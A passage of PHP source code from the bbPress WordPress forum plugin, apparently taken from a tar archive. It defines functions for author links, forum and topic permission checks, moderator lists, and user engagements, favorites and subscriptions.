
			// Get avatar (unescaped, because HTML)
			if ( ( 'avatar' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['avatar'] = get_avatar( $user_id, $r['size'] );
			}

			// Get display name (escaped, because never HTML)
			if ( ( 'name' === $r['type'] ) || ( 'both' === $r['type'] ) ) {
				$author_links['name'] = esc_html( get_the_author_meta( 'display_name', $user_id ) );
			}

			// Empty array
			$links  = array();
			$sprint = '<span %1$s>%2$s</span>';

			// Wrap each link
			foreach ( $author_links as $link => $link_text ) {
				$link_class = ' class="bbp-author-' . esc_attr( $link ) . '"';
				$links[]    = sprintf( $sprint, $link_class, $link_text );
			}

			// Juggle
			$author_links = $links;
			unset( $links );

			// Filter sections
			$sections    = apply_filters( 'bbp_get_author_links', $author_links, $r, $args );

			// Assemble sections into author link
			$author_link = implode( $r['sep'], $sections );

			// Only wrap in link if profile exists
			if ( empty( $anonymous ) && bbp_user_has_profile( $user_id ) ) {
				$author_link = sprintf( '<a href="%1$s"%2$s%3$s>%4$s</a>', esc_url( $author_url ), $link_title, ' class="bbp-author-link"', $author_link );
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_author_link', $author_link, $r, $args );
	}

/** Capabilities **************************************************************/

/**
 * Check if the user can access a specific forum
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @return bool
 */
function bbp_user_can_view_forum( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'user_id'         => bbp_get_current_user_id(),
		'forum_id'        => bbp_get_forum_id(),
		'check_ancestors' => false
	), 'user_can_view_forum' );

	// Validate parsed values
	$user_id  = bbp_get_user_id( $r['user_id'], false, false );
	$forum_id = bbp_get_forum_id( $r['forum_id'] );
	$retval   = false;

	// User is a keymaster
	if ( ! empty( $user_id ) && bbp_is_user_keymaster( $user_id ) ) {
		$retval = true;

	// Forum is public, and user can read forums or is not logged in
	} elseif ( bbp_is_forum_public( $forum_id, $r['check_ancestors'] ) ) {
		$retval = true;

	// Forum is private, and user can see it
	} elseif ( bbp_is_forum_private( $forum_id, $r['check_ancestors'] ) && user_can( $user_id, 'read_forum', $forum_id ) ) {
		$retval = true;

	// Forum is hidden, and user can see it
	} elseif ( bbp_is_forum_hidden( $forum_id, $r['check_ancestors'] ) && user_can( $user_id, 'read_forum', $forum_id  ) ) {
		$retval = true;
	}

	// Filter & return
	return apply_filters( 'bbp_user_can_view_forum', $retval, $forum_id, $user_id );
}

/**
 * Check if the current user can publish topics
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @return bool
 */
function bbp_current_user_can_publish_topics() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// Do not allow anonymous if not enabled
	} elseif ( ! is_user_logged_in() && bbp_allow_anonymous() ) {
		$retval = true;

	// User is logged in
	} elseif ( current_user_can( 'publish_topics' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_publish_topics', $retval );
}

/**
 * Check if the current user can publish forums
 *
 * @since 2.1.0 bbPress (r3549)
 *
 * @return bool
 */
function bbp_current_user_can_publish_forums() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// User is logged in
	} elseif ( current_user_can( 'publish_forums' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_publish_forums', $retval );
}

/**
 * Check if the current user can publish replies
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @return bool
 */
function bbp_current_user_can_publish_replies() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// Do not allow anonymous if not enabled
	} elseif ( ! is_user_logged_in() && bbp_allow_anonymous() ) {
		$retval = true;

	// User is logged in
	} elseif ( current_user_can( 'publish_replies' ) ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_publish_replies', $retval );
}

/** Forms *********************************************************************/

/**
 * The following functions should be turned into mapped meta capabilities in a
 * future version. They exist only to remove complex logistical capability
 * checks from within template parts.
 */

/**
 * Get the forums the current user has the ability to see and post to
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @param array $args
 *
 * @return array
 */
function bbp_get_forums_for_current_user( $args = array() ) {

	// Parse arguments against default values
	$r = bbp_parse_args( $args, array(
		'post_type'    => bbp_get_forum_post_type(),
		'post_status'  => bbp_get_public_status_id(),
		'post__not_in' => bbp_exclude_forum_ids( 'array' ),
		'numberposts'  => -1
	), 'get_forums_for_current_user' );

	// Get the forums
	$forums = get_posts( $r );

	// No availabe forums
	if ( empty( $forums ) ) {
		$forums = false;
	}

	// Filter & return
	return apply_filters( 'bbp_get_forums_for_current_user', $forums, $r, $args );
}

/**
 * Performs a series of checks to ensure the current user can create forums.
 *
 * @since 2.1.0 bbPress (r3549)
 *
 * @return bool
 */
function bbp_current_user_can_access_create_forum_form() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// Looking at a single forum & forum is open
	} elseif ( ( is_page() || is_single() ) && bbp_is_forum_open() ) {
		$retval = bbp_current_user_can_publish_forums();

	// User can edit this forum
	} else {
		$retval = current_user_can( 'edit_forum', bbp_get_forum_id() );
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_access_create_forum_form', (bool) $retval );
}

/**
 * Performs a series of checks to ensure the current user can create topics.
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @return bool
 */
function bbp_current_user_can_access_create_topic_form() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// Looking at a single forum & forum is open
	} elseif ( ( bbp_is_single_forum() || is_page() || is_single() ) && bbp_is_forum_open() ) {
		$retval = bbp_current_user_can_publish_topics();

	// User can edit this topic
	} else {
		$retval = current_user_can( 'edit_topic', bbp_get_topic_id() );
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_access_create_topic_form', (bool) $retval );
}

/**
 * Performs a series of checks to ensure the current user can create replies.
 *
 * @since 2.0.0 bbPress (r3127)
 *
 * @return bool
 */
function bbp_current_user_can_access_create_reply_form() {

	// Users need to earn access
	$retval = false;

	// Always allow keymasters
	if ( bbp_is_user_keymaster() ) {
		$retval = true;

	// Looking at a single topic, topic is open, and forum is open
	} elseif ( ( bbp_is_single_topic() || is_page() || is_single() ) && bbp_is_topic_open() && bbp_is_forum_open() && bbp_is_topic_published() ) {
		$retval = bbp_current_user_can_publish_replies();

	// User can edit this reply
	} elseif ( bbp_get_reply_id() ) {
		$retval = current_user_can( 'edit_reply', bbp_get_reply_id() );

	// User can edit this topic
	} elseif ( bbp_get_topic_id() ) {
		$retval = current_user_can( 'edit_topic', bbp_get_topic_id() );
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_access_create_reply_form', (bool) $retval );
}

/**
 * Performs a series of checks to ensure the current user should see the
 * anonymous user form fields.
 *
 * @since 2.5.0 bbPress (r5119)
 *
 * @return bool
 */
function bbp_current_user_can_access_anonymous_user_form() {

	// Users need to earn access
	$retval = false;

	// User is not logged in, and anonymous posting is allowed
	if ( bbp_is_anonymous() ) {
		$retval = true;

	// User is editing a topic, and topic is authored by anonymous user
	} elseif ( bbp_is_topic_edit() && bbp_is_topic_anonymous() ) {
		$retval = true;

	// User is editing a reply, and reply is authored by anonymous user
	} elseif ( bbp_is_reply_edit() && bbp_is_reply_anonymous() ) {
		$retval = true;
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_current_user_can_access_anonymous_user_form', (bool) $retval );
}

/** Moderators ****************************************************************/

/**
 * Output the moderators of a forum
 *
 * @since 2.6.0 bbPress
 *
 * @param int   $forum_id Optional. Topic id
 * @param array $args     See {@link bbp_get_moderator_list()}
 */
function bbp_moderator_list( $forum_id = 0, $args = array() ) {
	echo bbp_get_moderator_list( $forum_id, $args );
}

	/**
	 * Return the moderators for an object
	 *
	 * @since 2.6.0 bbPress
	 *
	 * @param int   $object_id Optional. Object id
	 * @param array $args     This function supports these arguments:
	 *  - before: Before the tag list
	 *  - sep: Tag separator
	 *  - after: After the tag list
	 *
	 * @return string Moderator list of the object
	 */
	function bbp_get_moderator_list( $object_id = 0, $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'before' => '<div class="bbp-moderators"><p>' . esc_html__( 'Moderators:', 'bbpress' ) . '&nbsp;',
			'sep'    => ', ',
			'after'  => '</p></div>',
			'none'   => ''
		), 'get_moderator_list' );

		// Get forum moderators
		$user_ids = bbp_get_moderator_ids( $object_id );
		if ( ! empty( $user_ids ) ) {

			// In admin, use nicenames
			if ( is_admin() ) {
				$users = bbp_get_user_nicenames_from_ids( $user_ids );

			// In theme, use display names & profile links
			} else {
				foreach ( $user_ids as $user_id ) {
					$users[] = bbp_get_user_profile_link( $user_id );
				}
			}

			$retval = $r['before'] . implode( $r['sep'], $users ) . $r['after'];

		// No forum moderators
		} else {
			$retval = $r['none'];
		}

		// Filter & return
		return apply_filters( 'bbp_get_moderator_list', $retval );
	}
includes/users/index.php000066600000000072151771460310011343 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/users/engagements.php000066600000107711151771460310012541 0ustar00<?php

/**
 * bbPress User Engagement Functions
 *
 * @package bbPress
 * @subpackage Engagements
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** User Relationships ********************************************************/

/**
 * Add a user id to an object
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $object_id The object id
 * @param int    $user_id   The user id
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 * @param bool   $unique    Whether meta key should be unique to the object
 *
 * @return bool Returns true on success, false on failure
 */
function bbp_add_user_to_object( $object_id = 0, $user_id = 0, $rel_key = '', $rel_type = 'post', $unique = false ) {
	$object_id = absint( $object_id );
	$user_id   = absint( $user_id );
	$retval    = bbp_user_engagements_interface( $rel_key, $rel_type )->add_user_to_object( $object_id, $user_id, $rel_key, $rel_type, $unique );

	// Filter & return
	return (bool) apply_filters( 'bbp_add_user_to_object', $retval, $object_id, $user_id, $rel_key, $rel_type, $unique );
}

/**
 * Remove a user id from an object
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $object_id The object id
 * @param int    $user_id   The user id
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 *
 * @return bool Returns true on success, false on failure
 */
function bbp_remove_user_from_object( $object_id = 0, $user_id = 0, $rel_key = '', $rel_type = 'post' ) {
	$retval = bbp_user_engagements_interface( $rel_key, $rel_type )->remove_user_from_object( $object_id, $user_id, $rel_key, $rel_type );

	// Filter & return
	return (bool) apply_filters( 'bbp_remove_user_from_object', $retval, $object_id, $user_id, $rel_key, $rel_type );
}

/**
 * Remove a user id from all objects
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $user_id  The user id
 * @param string $rel_key  The relationship key
 * @param string $rel_type The relationship type (usually 'post')
 *
 * @return bool Returns true on success, false on failure
 */
function bbp_remove_user_from_all_objects( $user_id = 0, $rel_key = '', $rel_type = 'post' ) {
	$user_id = absint( $user_id );
	$retval  = bbp_user_engagements_interface( $rel_key, $rel_type )->remove_user_from_all_objects( $user_id, $rel_key, $rel_type );

	// Filter & return
	return (bool) apply_filters( 'bbp_remove_user_from_all_objects', $retval, $user_id, $rel_key, $rel_type );
}

/**
 * Remove an object from all users
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $object_id The object id
 * @param int    $user_id   The user id
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 *
 * @return bool Returns true on success, false on failure
 */
function bbp_remove_object_from_all_users( $object_id = 0, $rel_key = '', $rel_type = 'post' ) {
	$object_id = absint( $object_id );
	$retval    = bbp_user_engagements_interface( $rel_key, $rel_type )->remove_object_from_all_users( $object_id, $rel_key, $rel_type );

	// Filter & return
	return (bool) apply_filters( 'bbp_remove_object_from_all_users', $retval, $object_id, $rel_key, $rel_type );
}

/**
 * Remove all users from all objects
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param string $rel_key  The relationship key
 * @param string $rel_type The relationship type (usually 'post')
 *
 * @return bool Returns true on success, false on failure
 */
function bbp_remove_all_users_from_all_objects( $rel_key = '', $rel_type = 'post' ) {
	$retval = bbp_user_engagements_interface( $rel_key, $rel_type )->remove_all_users_from_all_objects( $rel_key, $rel_type );

	// Filter & return
	return (bool) apply_filters( 'bbp_remove_all_users_from_all_objects', $retval, $rel_key, $rel_type );
}

/**
 * Get users of an object
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $object_id The object id
 * @param string $rel_key   The key used to index this relationship
 * @param string $rel_type  The type of meta to look in
 *
 * @return array Returns ids of users
 */
function bbp_get_users_for_object( $object_id = 0, $rel_key = '', $rel_type = 'post' ) {
	$object_id = absint( $object_id );
	$retval    = bbp_user_engagements_interface( $rel_key, $rel_type )->get_users_for_object( $object_id, $rel_key, $rel_type );

	// Filter & return
	return (array) apply_filters( 'bbp_get_users_for_object', $retval, $object_id, $rel_key, $rel_type );
}

/**
 * Check if an object has a specific user
 *
 * @since 2.6.0 bbPress (r6109)
 *
 * @param int    $object_id The object id
 * @param int    $user_id   The user id
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 *
 * @return bool Returns true if object has a user, false if not
 */
function bbp_is_object_of_user( $object_id = 0, $user_id = 0, $rel_key = '', $rel_type = 'post' ) {
	$object_id = absint( $object_id );
	$user_id   = absint( $user_id );
	$user_ids  = bbp_get_users_for_object( $object_id, $rel_key, $rel_type );
	$retval    = is_numeric( array_search( $user_id, $user_ids, true ) );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_object_of_user', $retval, $object_id, $user_id, $rel_key, $rel_type );
}

/**
 * Get the query part responsible for JOINing objects to user IDs
 *
 * @since 2.6.0 bbPress (r6747)
 *
 * @param array  $args      Default query arguments
 * @param string $context   Additional context
 * @param string $rel_key   The relationship key
 * @param string $rel_type  The relationship type (usually 'post')
 *
 * @return array
 */
function bbp_get_user_object_query( $args = array(), $context = '', $rel_key = '', $rel_type = 'post' ) {
	$retval = bbp_user_engagements_interface( $rel_key, $rel_type )->get_query( $args, "get_user_{$context}", $rel_key, $rel_type );

	// Filter & return
	return (array) apply_filters( 'bbp_get_user_object_query', $retval, $args, $context, $rel_key, $rel_type );
}

/** Engagements ***************************************************************/

/**
 * Get the users who have engaged in a topic
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $topic_id Optional. Topic id
 *
 * @return array|bool Results if the topic has any engagements, otherwise false
 */
function bbp_get_topic_engagements( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$users    = bbp_get_users_for_object( $topic_id, '_bbp_engagement' );

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_engagements', $users, $topic_id );
}

/**
 * Return the users who have engaged in a topic, directly with a database query
 *
 * See: https://bbpress.trac.wordpress.org/ticket/3083
 *
 * @since 2.6.0 bbPress (r6522)
 *
 * @param int $topic_id
 *
 * @return array
 */
function bbp_get_topic_engagements_raw( $topic_id = 0 ) {

	// Default variables
	$topic_id = bbp_get_topic_id( $topic_id );
	$bbp_db   = bbp_db();
	$statii   = "'" . implode( "', '", bbp_get_public_topic_statuses() ) . "'";

	// A cool UNION query!
	$sql = "
SELECT DISTINCT( post_author ) FROM (
	SELECT post_author FROM {$bbp_db->posts}
		WHERE ( ID = %d AND post_status IN ({$statii}) AND post_type = %s )
UNION
	SELECT post_author FROM {$bbp_db->posts}
		WHERE ( post_parent = %d AND post_status = %s AND post_type = %s )
) as u1";

	// Prepare & get results
	$query   = $bbp_db->prepare( $sql, $topic_id, bbp_get_topic_post_type(), $topic_id, bbp_get_public_status_id(), bbp_get_reply_post_type() );
	$results = $bbp_db->get_col( $query );

	// Parse results into voices
	$engagements = ! is_wp_error( $results )
		? wp_parse_id_list( array_filter( $results ) )
		: array();

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_engagements_raw', $engagements, $topic_id );
}

/**
 * Get a user's topic engagements
 *
 * @since 2.6.0 bbPress (r6320)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args Optional. Arguments to pass into bbp_has_replies()
 *
 * @return bool True if user has engaged, otherwise false
 */
function bbp_get_user_engagements( $args = array() ) {
	$r     = bbp_get_user_object_query( $args, 'engagements', '_bbp_engagement' );
	$query = bbp_has_topics( $r );

	// Filter & return
	return apply_filters( 'bbp_get_user_engagements', $query, 0, $r, $args );
}

/**
 * Check if a user is engaged in a topic or not
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if the topic is in user's engagements, otherwise false
 */
function bbp_is_user_engaged( $user_id = 0, $topic_id = 0 ) {
	$user_id  = bbp_get_user_id( $user_id, true, true );
	$topic_id = bbp_get_topic_id( $topic_id );
	$retval   = bbp_is_object_of_user( $topic_id, $user_id, '_bbp_engagement' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_engaged', $retval, $user_id, $topic_id );
}

/**
 * Add a topic to user's engagements
 *
 * Note that both the User and Topic should be verified to exist before using
 * this function. Originally both were validated, but because this function is
 * frequently used within a loop, those verifications were moved upstream to
 * improve performance on topics with many engaged users.
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool Always true
 */
function bbp_add_user_engagement( $user_id = 0, $topic_id = 0 ) {

	// Bail if not enough info
	if ( empty( $user_id ) || empty( $topic_id ) ) {
		return false;
	}

	// Bail if already a engaged
	if ( bbp_is_user_engaged( $user_id, $topic_id ) ) {
		return false;
	}

	// Bail if add fails
	if ( ! bbp_add_user_to_object( $topic_id, $user_id, '_bbp_engagement' ) ) {
		return false;
	}

	do_action( 'bbp_add_user_engagement', $user_id, $topic_id );

	return true;
}

/**
 * Remove a topic from user's engagements
 *
 * @since 2.6.0 bbPress (r6320)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if the topic was removed from user's engagements, otherwise
 *               false
 */
function bbp_remove_user_engagement( $user_id = 0, $topic_id = 0 ) {

	// Bail if not enough info
	if ( empty( $user_id ) || empty( $topic_id ) ) {
		return false;
	}

	// Bail if not already engaged
	if ( ! bbp_is_user_engaged( $user_id, $topic_id ) ) {
		return false;
	}

	// Bail if remove fails
	if ( ! bbp_remove_user_from_object( $topic_id, $user_id, '_bbp_engagement' ) ) {
		return false;
	}

	do_action( 'bbp_remove_user_engagement', $user_id, $topic_id );

	return true;
}

/**
 * Recalculate all of the users who have engaged in a topic.
 *
 * This happens when permanently deleting a reply, because that reply author may
 * have authored other replies to that same topic, or the topic itself.
 *
 * You may need to do this manually on heavily active forums where engagement
 * count accuracy is important.
 *
 * @since 2.6.0 bbPress (r6522)
 *
 * @param int  $topic_id
 * @param bool $force
 *
 * @return boolean True if any engagements are added, false otherwise
 */
function bbp_recalculate_topic_engagements( $topic_id = 0, $force = false ) {

	// Default return value
	$retval = false;

	// Check post type
	$topic_id = bbp_is_reply( $topic_id )
		? bbp_get_reply_topic_id( $topic_id )
		: bbp_get_topic_id( $topic_id );

	// Bail if no topic ID
	if ( empty( $topic_id ) ) {
		return $retval;
	}

	// Query for engagements
	$old_engagements = bbp_get_topic_engagements( $topic_id );
	$new_engagements = bbp_get_topic_engagements_raw( $topic_id );

	// Sort arrays
	sort( $old_engagements, SORT_NUMERIC );
	sort( $new_engagements, SORT_NUMERIC );

	// Only recalculate on change
	if ( ( true === $force ) || ( $old_engagements !== $new_engagements ) ) {

		// Delete all engagements
		bbp_remove_object_from_all_users( $topic_id, '_bbp_engagement' );

		// Update the voice count for this topic id
		foreach ( $new_engagements as $user_id ) {
			$retval = bbp_add_user_engagement( $user_id, $topic_id );
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_recalculate_user_engagements', $retval, $topic_id );
}

/**
 * Update the engagements of a topic.
 *
 * Hooked to 'bbp_new_topic' and 'bbp_new_reply', this gets the post author and
 * if not anonymous, passes it into bbp_add_user_engagement().
 *
 * @since 2.6.0 bbPress (r6526)
 *
 * @param int $topic_id
 */
function bbp_update_topic_engagements( $topic_id = 0 ) {

	// Is a reply
	if ( bbp_is_reply( $topic_id ) ) {

		// Bail if reply isn't published
		if ( ! bbp_is_reply_published( $topic_id ) ) {
			return;
		}

		$author_id = bbp_get_reply_author_id( $topic_id );
		$topic_id  = bbp_get_reply_topic_id( $topic_id );

	// Is a topic
	} elseif ( bbp_is_topic( $topic_id ) ) {

		// Bail if topic isn't published
		if ( ! bbp_is_topic_published( $topic_id ) ) {
			return;
		}

		$author_id = bbp_get_topic_author_id( $topic_id );
		$topic_id  = bbp_get_topic_id( $topic_id );

	// Is unknown
	} else {
		return;
	}

	// Bail if topic is not public
	if ( ! bbp_is_topic_public( $topic_id ) ) {
		return;
	}

	// Return whether engagement was added
	return bbp_add_user_engagement( $author_id, $topic_id );
}

/** Favorites *****************************************************************/

/**
 * Get the users who have made the topic favorite
 *
 * @since 2.0.0 bbPress (r2658)
 *
 * @param int $topic_id Optional. Topic id
 *
 * @return array|bool Results if the topic has any favoriters, otherwise false
 */
function bbp_get_topic_favoriters( $topic_id = 0 ) {
	$topic_id = bbp_get_topic_id( $topic_id );
	$users    = bbp_get_users_for_object( $topic_id, '_bbp_favorite' );

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_favoriters', $users, $topic_id );
}

/**
 * Get a user's favorite topics
 *
 * @since 2.0.0 bbPress (r2652)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args Optional. Arguments to pass into bbp_has_topics()
 *
 * @return array Array of topics if user has favorites, otherwise empty array
 */
function bbp_get_user_favorites( $args = array() ) {
	$r     = bbp_get_user_object_query( $args, 'favorites', '_bbp_favorite' );
	$query = ! empty( $r )
		? bbp_has_topics( $r )
		: array();

	// Filter & return
	return apply_filters( 'bbp_get_user_favorites', $query, 0, $r, $args );
}

/**
 * Check if a topic is in user's favorites or not
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if the topic is in user's favorites, otherwise false
 */
function bbp_is_user_favorite( $user_id = 0, $topic_id = 0 ) {
	$retval = bbp_is_object_of_user( $topic_id, $user_id, '_bbp_favorite' );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_favorite', $retval, $user_id, $topic_id );
}

/**
 * Add a topic to user's favorites
 *
 * Note that both the User and Topic should be verified to exist before using
 * this function. Originally both were validated, but because this function is
 * frequently used within a loop, those verifications were moved upstream to
 * improve performance on topics with many engaged users.
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if the topic was added to user's favorites, otherwise false
 */
function bbp_add_user_favorite( $user_id = 0, $topic_id = 0 ) {
	$user_id  = bbp_get_user_id( $user_id, false, false );
	$topic_id = bbp_get_topic_id( $topic_id );

	// Bail if not enough info
	if ( empty( $user_id ) || empty( $topic_id ) ) {
		return false;
	}

	// Bail if already a favorite
	if ( bbp_is_user_favorite( $user_id, $topic_id ) ) {
		return false;
	}

	// Bail if add fails
	if ( ! bbp_add_user_to_object( $topic_id, $user_id, '_bbp_favorite' ) ) {
		return false;
	}

	do_action( 'bbp_add_user_favorite', $user_id, $topic_id );

	return true;
}

/**
 * Remove a topic from user's favorites
 *
 * @since 2.0.0 bbPress (r2652)
 *
 * @param int $user_id Optional. User id
 * @param int $topic_id Optional. Topic id
 *
 * @return bool True if the topic was removed from user's favorites, otherwise false
 */
function bbp_remove_user_favorite( $user_id, $topic_id ) {
	$user_id  = bbp_get_user_id( $user_id, false, false );
	$topic_id = bbp_get_topic_id( $topic_id );

	// Bail if not enough info
	if ( empty( $user_id ) || empty( $topic_id ) ) {
		return false;
	}

	// Bail if not already a favorite
	if ( ! bbp_is_user_favorite( $user_id, $topic_id ) ) {
		return false;
	}

	// Bail if remove fails
	if ( ! bbp_remove_user_from_object( $topic_id, $user_id, '_bbp_favorite' ) ) {
		return false;
	}

	do_action( 'bbp_remove_user_favorite', $user_id, $topic_id );

	return true;
}

/**
 * Handles the front end adding and removing of favorite topics
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_favorites_handler( $action = '' ) {

	// Default
	$success = false;

	// Bail if favorites not active
	if ( ! bbp_is_favorites_active() ) {
		return $success;
	}

	// Bail if no topic ID is passed
	if ( empty( $_GET['object_id'] ) ) {
		return $success;
	}

	// Setup possible get actions
	$possible_actions = array(
		'bbp_favorite_add',
		'bbp_favorite_remove',
	);

	// Bail if actions aren't meant for this function
	if ( ! in_array( $action, $possible_actions, true ) ) {
		return $success;
	}

	// What action is taking place?
	$topic_id = bbp_get_topic_id( $_GET['object_id'] );
	$user_id  = bbp_get_user_id( 0, true, true );

	// Check for empty topic
	if ( empty( $topic_id ) ) {
		bbp_add_error( 'bbp_favorite_topic_id', __( '<strong>Error</strong>: No topic was found. Which topic are you marking/unmarking as favorite?', 'bbpress' ) );

	// Check nonce
	} elseif ( ! bbp_verify_nonce_request( 'toggle-favorite_' . $topic_id ) ) {
		bbp_add_error( 'bbp_favorite_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );

	// Check current user's ability to edit the user
	} elseif ( ! current_user_can( 'edit_user', $user_id ) ) {
		bbp_add_error( 'bbp_favorite_permission', __( '<strong>Error</strong>: You do not have permission to edit favorites for that user.', 'bbpress' ) );
	}

	// Bail if errors
	if ( bbp_has_errors() ) {
		return $success;
	}

	/** No errors *************************************************************/

	if ( 'bbp_favorite_remove' === $action ) {
		$success = bbp_remove_user_favorite( $user_id, $topic_id );
	} elseif ( 'bbp_favorite_add' === $action ) {
		$success = bbp_add_user_favorite( $user_id, $topic_id );
	}

	// Do additional favorites actions
	do_action( 'bbp_favorites_handler', $success, $user_id, $topic_id, $action );

	// Success!
	if ( true === $success ) {

		// Redirect back from whence we came
		if ( ! empty( $_REQUEST['redirect_to'] ) ) {
			$redirect = $_REQUEST['redirect_to']; // Validated later
		} elseif ( bbp_is_favorites() ) {
			$redirect = bbp_get_favorites_permalink( $user_id, true );
		} elseif ( bbp_is_single_user() ) {
			$redirect = bbp_get_user_profile_url();
		} elseif ( is_singular( bbp_get_topic_post_type() ) ) {
			$redirect = bbp_get_topic_permalink( $topic_id );
		} elseif ( is_single() || is_page() ) {
			$redirect = get_permalink();
		} else {
			$redirect = get_permalink( $topic_id );
		}

		bbp_redirect( $redirect );

	// Fail! Handle errors
	} elseif ( 'bbp_favorite_remove' === $action ) {
		bbp_add_error( 'bbp_favorite_remove', __( '<strong>Error</strong>: There was a problem removing that topic from favorites.', 'bbpress' ) );
	} elseif ( 'bbp_favorite_add' === $action ) {
		bbp_add_error( 'bbp_favorite_add',    __( '<strong>Error</strong>: There was a problem favoriting that topic.', 'bbpress' ) );
	}

	return (bool) $success;
}

/** Subscriptions *************************************************************/

/**
 * Get the users who have subscribed
 *
 * @since 2.6.0 bbPress (r5156)
 *
 * @param int $object_id Optional. ID of object (forum, topic, or something else)
 */
function bbp_get_subscribers( $object_id = 0, $type = 'post' ) {
	$users = bbp_get_users_for_object( $object_id, '_bbp_subscription', $type );

	// Filter & return
	return (array) apply_filters( 'bbp_get_subscribers', $users, $object_id, $type );
}

/**
 * Get a user's subscribed topics
 *
 * @since 2.0.0 bbPress (r2668)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args Optional. Arguments to pass into bbp_has_topics()
 *
 * @return array Array of topics if user has topic subscriptions, otherwise empty array
 */
function bbp_get_user_topic_subscriptions( $args = array() ) {
	$r     = bbp_get_user_object_query( $args, 'topic_subscriptions', '_bbp_subscription' );
	$query = ! empty( $r )
		? bbp_has_topics( $r )
		: array();

	// Filter & return
	return apply_filters( 'bbp_get_user_topic_subscriptions', $query, 0, $r, $args );
}

/**
 * Get a user's subscribed forums
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6618) Signature changed to accept an array of arguments
 *
 * @param array $args Optional. Arguments to pass into bbp_has_forums()
 *
 * @return array Array of forums if user has forum subscriptions, otherwise empty array
 */
function bbp_get_user_forum_subscriptions( $args = array() ) {
	$r     = bbp_get_user_object_query( $args, 'forum_subscriptions', '_bbp_subscription' );
	$query = ! empty( $r )
		? bbp_has_forums( $r )
		: array();

	// Filter & return
	return apply_filters( 'bbp_get_user_forum_subscriptions', $query, 0, $r, $args );
}

/**
 * Check if an object (forum or topic) is in user's subscription list or not
 *
 * @since 2.5.0 bbPress (r5156)
 *
 * @param int $user_id Optional. User id
 * @param int $object_id Optional. Object id
 *
 * @return bool True if the object (forum or topic) is in user's subscriptions, otherwise false
 */
function bbp_is_user_subscribed( $user_id = 0, $object_id = 0, $type = 'post' ) {
	$retval = bbp_is_object_of_user( $object_id, $user_id, '_bbp_subscription', $type );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_subscribed', $retval, $user_id, $object_id, $type );
}

/**
 * Add a user subscription
 *
 * @since 2.5.0 bbPress (r5156)
 * @since 2.6.0 bbPress (r6544) Added $type parameter
 *
 * @param int    $user_id   Optional. User id
 * @param int    $object_id Optional. Object id
 * @param string $type      Optional. Type of object being subscribed to
 *
 * @return bool True if the object was added to user subscriptions, otherwise false
 */
function bbp_add_user_subscription( $user_id = 0, $object_id = 0, $type = 'post' ) {

	// Bail if not enough info
